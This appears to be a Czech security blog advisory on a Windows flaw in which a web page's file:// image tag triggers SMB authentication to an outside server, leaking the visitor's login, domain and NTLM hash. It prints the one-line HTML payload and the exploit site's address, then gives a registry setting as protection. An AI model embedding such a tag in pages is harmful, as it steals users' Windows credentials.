Odcizení přihlašovacích údajů k Windows jen pomocí webové stránky
Ruský výzkumník ValdikSS zveřejnil malý exploit, která může ukrást vaše přihlašovací údaje k Windows (login a NTML hash) jen díky navštívení webové stránky. Problém je spojený se způsobem, jakým operační systém Windows zachází s file:// URI. Jakmile je zaznamenán, operační systém pošle SMB NTLMSSP_NEGOTIATE požadavek k útoku na server, odhalujíc přihlašovací jméno, doménu a NTLM hash vašeho hesla.
Webová stránka s plně funkčním exploitem je k dispozici zde hxxp://witch.valdikss.org.ru/
Nenavštěvujte tuto stránku z vašeho firemního počítače, vaše heslo může být odšifrováno.
Stránka obsahuje obrázek <img src=”file://witch.valdikss.org.ru/a”>, který vyvolá SMB vyjednávání.
Níže je screenshot pro samostatnou pracovní stanici:
Jak můžete vidět na tomto screenshotu, jednoduché heslo může být odhaleno z NTLM hashe během několika sekund. Shromážděné hashe se silnými hesly mohou být uloženy a dešifrovány později.
Exploit funguje na všech moderních operačních systémech Windows, včetně Windows 10. A je úplně jedno, který prohlížeč používáte, protože požadavek je zpracováván operačním systémem.
Stejné pravidlo platí pro integrovaný Microsoft účet. Pokud použijete svůj Microsoft účet pro přihlášení do počítače, útočníci ho mohou odcizit taky. V tomto případě by mohli mít přístup ke všem službám, pomocí Live ID, například Skype, OneDrive, atd.
Ochrana
Použijte RestrictReceivingNTLMTraffic registrační klíč k zakázání tohoto chování.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0]
"RestrictReceivingNTLMTraffic"=dword:00000002
"RestrictSendingNTLMTraffic"=dword:00000002
-
Související články na blogu Cybersecurity Help
-
WordPress zranitelnost v REST API je aktivně exploitována 7. 2. 2017 14:48
-
Dostupný exploit pro 0day zranitelnost v Microsoft Windows 3. 2. 2017 15:24
-
Top-10 bezpečnostních incidentů v srpnu 2016 2. 9. 2016 14:08
-
Tajné služby jdou po zranitelnostech v hardwaru 18. 8. 2016 16:06
-
Top-10 bezpečnostních incidentů v červnu 2016 1. 7. 2016 13:59
-
Zranitelnost v nejnovější verzi MODX Evolution je aktivně exploitována 30. 11. 2016 14:05
-
-
Související články na ostatních blozích
-
Jak dostat tatínka do polepšovny 29. 1. 2010 9:21
-
Instalace Kali Linuxu na WSL2 ve Windows 10 12. 1. 2021 22:57
-
Ministerstvo zdravotnictví vydalo dokument o kybernetické bezpečnosti 29. 10. 2017 18:10
-
Ani bezpečný, ani nebezpečný 3. 7. 2015 7:48
-
Útoky na bash už běží 29. 9. 2014 9:57
-
Tip: šifrování souborů pomocí Vim 21. 2. 2014 20:48
-
-
Související články na serveru Root.cz
-
Postřehy z bezpečnosti: pašování škodlivého kódu v metadatech souborů 18. 11. 2024 0:00
-
Trinity Desktop Environment (TDE) R14.1.13: závan starých časů o čtyři roky později 15. 11. 2024 0:00
-
Postřehy z bezpečnosti: pád tržiště pro DDoS útoky 11. 11. 2024 0:00
-
Linuxové jádro 6.13 a Mesa 24.3: nejen Vulkan pro 12 let staré Radeony 8. 11. 2024 0:00
-
Akcelerace VVC na Intelu, zkušební verze Xfce 4.20 3. 11. 2024 0:00
-
Postřehy z bezpečnosti: milionové pokuty za nepřiznání dopadů kyberútoků 28. 10. 2024 0:00
-
ČLÁNKY DO MAILU